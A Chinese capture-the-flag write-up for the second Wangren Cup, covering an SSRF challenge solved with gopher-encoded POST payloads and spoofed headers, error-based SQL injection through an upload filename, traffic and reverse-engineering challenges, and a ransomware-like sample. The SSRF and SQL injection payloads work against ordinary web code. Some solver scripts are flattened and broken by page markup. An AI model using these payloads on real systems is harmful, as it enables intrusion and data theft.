第二届网刃杯网络安全大赛部分WP

admin 2025年2月15日23:31:13评论11 views字数 6712阅读22分22秒阅读模式

前言

昨天参加了“第二届网刃杯”,题目还是比较有意思的,但是比较难受的是,有的题目就很有感觉,然而却木有flag,附件也都保存了,随后其余的题目再补充吧。

易捷

混子题

104asdu contains "flag"

第二届网刃杯网络安全大赛部分WP

flag{e45y_1eci04}

sign_in(签到?)

可别说是签到了,比下面的plc做着都花时间,上面那个才是签到吧。

代码审计,看到函数curl_xxxx就可以断定是ssrf,首先探测到内网的ip地址,得到ip地址就开始表演。

payload

http://124.220.9.19:20003/?url=172.73.26.100

第二届网刃杯网络安全大赛部分WP

http://124.220.9.19:20003/?url=172.73.26.100?a=1

第二届网刃杯网络安全大赛部分WP

http://124.220.9.19:20003/?url=172.73.26.100?a=12&url=gopher://172.73.26.100:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25203%250D%250AConnection%253A%2520close%250D%250A%250D%250Ab%253D3

第二届网刃杯网络安全大赛部分WP

构造包内容加入字段 x-forwarded-for:127.0.0.1

http://124.220.9.19:20003/?url=172.73.26.100?a=12&url=gopher://172.73.26.100:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25203%250D%250AX-Forwarded-For%253A%2520127.0.0.1%250D%250AConnection%253A%2520close%250D%250A%250D%250Ab%253D3

第二届网刃杯网络安全大赛部分WP

继续添加字段,payload如下

http://124.220.9.19:20003/?url=172.73.26.100?a=1&url=gopher://172.73.26.100:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25203%250D%250AX-Forwarded-For%253A%2520127.0.0.1%250D%250AReferer%253A%2520bolean.club%250D%250AConnection%253A%2520close%250D%250A%250D%250Ab%253D3

第二届网刃杯网络安全大赛部分WP

得到flag

flag{Have_A_GoOd_T1m3!!!!!!}

upload

进入网站后是个文件上传点传统思路:上传图片,抓包,修改后缀为php,上传,要求文件类型为ctf。

然后访问了一下,发现文件不解析。尝试上传pht,phtml等文件,均能上传成功,但是都被注释了。最后看了一下题目提示:sql yyds

重新上传php文件,然后文件后缀处加单引号。发包发现返回内容有sql报错,思路确定:sql注入,注入点为文件名。

第二届网刃杯网络安全大赛部分WP

然后查数据库

1.php' and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) and '1'='1

第二届网刃杯网络安全大赛部分WP

 常规思路,查表:

1.php' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)) and '1'='1

但是查不出来,分析发现数据库的连接符被做了强制转换。到这里就卡住了,一直在想如何进行绕过,可是没有什么办法是能绕过数据库的连接符的。后来突然想到要不就蒙一个,flag表,flag字段。结果……

1.php' and (updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1)) and '1'='1

直接出了第二届网刃杯网络安全大赛部分WP

但是报错注入最多显示32位,长度有限制,于是用分片读取:

1.php' and updatexml(1,mid(concat(1,(select group_concat(flag)from flag)),1,33),1) and '1'='1

然后读取后几位:

1.php' and updatexml(1,mid(concat(1,(select group_concat(flag)from flag)),33,60),1) and '1'='1

两段拼接一起即可拿到flag

flag{5937a0b90b5966939cccd369291c68aa}

carefulguy

没啥意思

tcp contains "flag"

第二届网刃杯网络安全大赛部分WP

追踪tcp流

第二届网刃杯网络安全大赛部分WP

流36有这个

第二届网刃杯网络安全大赛部分WP

追踪到流1的时候,66对应的ascall码为102就是f

666c61677b7034757333313576337279316e7433726573746963397d

https://coding.tools/cn/hex-to-ascii

第二届网刃杯网络安全大赛部分WP

Re_freestyle

上脚本爆破拿到所有可能

#include <stdio.h>int smallestRepunitDivByK(int K) {        if(K%2==0||K%5==0)            return -1;        int r=0;        for(int N=1;N<=K;N++)        {            r=(r*10+1)%K;            if(r==0)                return N;        }        return -1;}int main(){    for(int i = 0; i < 0x1000; i++){        if ( 4 * (3 * i / 9 - 9) == 4400 ){            printf("%dn", i);            // printf("%dn",smallestRepunitDivByK(i));        }    }    for(int i = 0; i < 0x1000; i++){        if ( 2 * (i % 56) == 98 ){            // printf("%dn",smallestRepunitDivByK(i));            printf("%dn", i);        }    }}

提示去最小的那个数,组合md5尝试flag

第二届网刃杯网络安全大赛部分WP

md5(3327105)

flag{31a364d51abd0c8304106c16779d83b1}

Re_function

不能反编译,附件一个是主逻辑,另一个是魔改base64编码,通过阅读汇编得知就是个亦或0x37,之后进行魔改base64编码。根据程序1中的字符串先异或后解码,脚本如下

# coding=utf-8__author__ = 'Ggoodstudy'cmpstr = 'BRUF{E6oU9Ci#J9+6nWAhwMR9n:}'import base64stt = [0x64, 0x71, 0x54, 0x54, 0x64, 0x78, 0x74, 0x78, 0x64, 0x41,   0x40, 0x48, 0x70, 0x6D, 0x18, 0x4A, 0x41, 0x78, 0x66, 0x72,   0x41, 0x78, 0x5E, 0x4E, 0x5D, 0x52, 0x0E, 0x3D]flag = ''for i in range(0, len(stt)):    if i%2 == 0:        flag += chr(stt[i] ^ 0x37)        continue        # flag += chr(stt[i] - i)    flag += chr(stt[i])print flag# SqcTSxCxSAwHGm/JvxQrvxiNjR9=s = "FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+"# inputs为bytes类型,return stringdef My_base64_encode(inputs):        bin_str = []        for i in inputs:            x = str(bin(i)).replace('0b', '')             # x = str(bin(ord(i))).replace('0b', '')  # inputs为string            bin_str.append('{:0>8}'.format(x))        outputs = ""        nums = 0        while bin_str:            #每次取三个字符的二进制            temp_list = bin_str[:3]            if(len(temp_list) != 3):                nums = 3 - len(temp_list)                while len(temp_list) < 3:                    temp_list += ['0' * 8]            temp_str = "".join(temp_list)            # print(temp_str)            # 将三个8字节的二进制转换为4个十进制            temp_str_list = []            for i in range(0,4):                temp_str_list.append(int(temp_str[i*6:(i+1)*6],2))            #print(temp_str_list)            if nums:                temp_str_list = temp_str_list[0:4 - nums]            for i in temp_str_list:                outputs += s[i]            bin_str = bin_str[3:]        outputs += nums * '='        print("Encrypted String:n%s "%outputs)        return outputs# inputs为string类型 return stringdef My_base64_decode(inputs):    # 将字符串转化为2进制    bin_str = []    for i in inputs:        if i != '=':            x = str(bin(s.index(i))).replace('0b', '')            bin_str.append('{:0>6}'.format(x))    #print(bin_str)    outputs = ""    nums = inputs.count('=')    while bin_str:        temp_list = bin_str[:4]        temp_str = "".join(temp_list)        #print(temp_str)        if(len(temp_str) % 8 != 0):            temp_str = temp_str[0:-1 * nums * 2]        for i in range(0,int(len(temp_str) / 8)):            outputs += chr(int(temp_str[i*8:(i+1)*8],2))        bin_str = bin_str[4:]        print("Decrypted String:n%s "%outputs)    return outputsstr2 = "SqcTSxCxSAwHGm/JvxQrvxiNjR9="My_base64_decode(str2)

第二届网刃杯网络安全大赛部分WP

ez_algorithm

类似rot13的加密一层一层加密, 套了一层又一层,直接逆向推回去即可,脚本如下

# coding=utf-8__author__ = 'Ggoodstudy'finalcmpstr = 'BRUF{E6oU9Ci#J9+6nWAhwMR9n:}'data2 ='ckagevdxizblqnwtmsrpufyhoj'data3 = 'TMQZWKGOIAGLBYHPCRJSUXEVND'def enc3(s):    tmp = s    if (tmp > 64 and tmp <= 70) or (tmp > 96 and tmp <= 102):        tmp = tmp + 20    elif (tmp > 84 and tmp <= 90) or (tmp > 116 and tmp <= 122):        tmp = tmp - 20    elif tmp > 71 and tmp <= 77 or tmp > 103 and tmp <= 109:        tmp = tmp + 6    elif tmp > 77 and tmp <= 83 or tmp > 109 and tmp <= 115:        tmp = tmp - 6    elif tmp == 71 or tmp == 103:        tmp = tmp + 13    elif tmp == 84 or tmp == 116:        tmp = tmp - 13    elif tmp > 47 and tmp <= 57:        tmp = 105 - tmp    return tmpdef enc2(s):    if s > 64 and s <= 90:        s = s+32    elif s > 96 and s <= 122:        s = s-32    elif s > 47 and s < 58:        s = s    return s# print enc2(72)def enc1(input):    flag = ''    v18 = 0    # input = list('B')    print(v18)    for s in range(len(input)):        if input
展开收缩
>64 and input
展开收缩
< 91:
if v18%4==0: flag += chr(data2.find(chr(enc2(enc3(input
展开收缩
))))+97)
elif v18%4==1: flag +=chr(data2.find(chr(enc2(enc3(input
展开收缩
))))+97)
elif v18%4==2: flag +=chr((data2.find(chr(enc2(enc3(input
展开收缩
))))^2)+97)
elif v18%4==3: flag +=chr(data2.find(chr(enc2(enc3(input
展开收缩
))))+97-3)
elif input
展开收缩
> 96 and input
展开收缩
< 123:
if v18%4==0: flag += chr(data3.find(chr(enc2(enc3(input
展开收缩
))))+65)
elif v18%4==1: flag +=chr(data3.find(chr(enc2(enc3(input
展开收缩
))))+65-1)
elif v18%4==2: print(data3.find(chr(enc2(enc3(input
展开收缩
)))))
flag +=chr((data3.find(chr(enc2(enc3(input
展开收缩
))))&3)/v18+65)
elif v18%4==3: flag +=chr((data3.find(chr(enc2(enc3(input
展开收缩
))))^3)+65)
elif input
展开收缩
> 47 and input
展开收缩
< 58:
flag +=chr(enc2(enc3(input
展开收缩
)))
elif input
展开收缩
== 35 or input
展开收缩
==43 or input
展开收缩
==38 or input
展开收缩
==42 or input
展开收缩
==63 or input
展开收缩
==36:
flag += '_' else: flag += chr(input
展开收缩
)
v18 += 1 return flagddd = []for i in finalcmpstr: ddd.append(ord(i))print(enc1(ddd))

拿到flag

flag{w3Lc0mE_t0_3NcrYPti0N:}

定时启动

定时启动事件09:09:09,文件是个病毒,会将同目录下的文件名改为.Wncry,根据提示需要在09:09:09分启动。将本地时间改为09:09:09即可。

date -s 09:09:09 && ./squid

flag{c4c728s9ccbc87e4b5ce2f}

喜欢移动的黑客

被唬住了,脚本都用不着,,,,,,,,,,,,差评

打开流量包发现无法打开,使用file命令确定是流量包文件,但是需要修改文件头,之后打开,题目的提示很关键,提示转速超过10000

工控协议呗,直接搜索

modbus

刚开始以为直接搜索字段为大于1w的转速包但是没有结果,往下看读数据的数据包注意到了

第二届网刃杯网络安全大赛部分WP

因为这里270f十六进制转换为十进制的时候为9999,但是在2766的数据包的时候为10086

第二届网刃杯网络安全大赛部分WP

所以这里的flag并不唯一。

flag{1008668156}flag{1008668158}

原文始发于微信公众号(星海安全实验室):第二届“网刃杯”网络安全大赛部分WP

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日23:31:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第二届网刃杯网络安全大赛部分WPhttps://cn-sec.com/archives/1053825.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息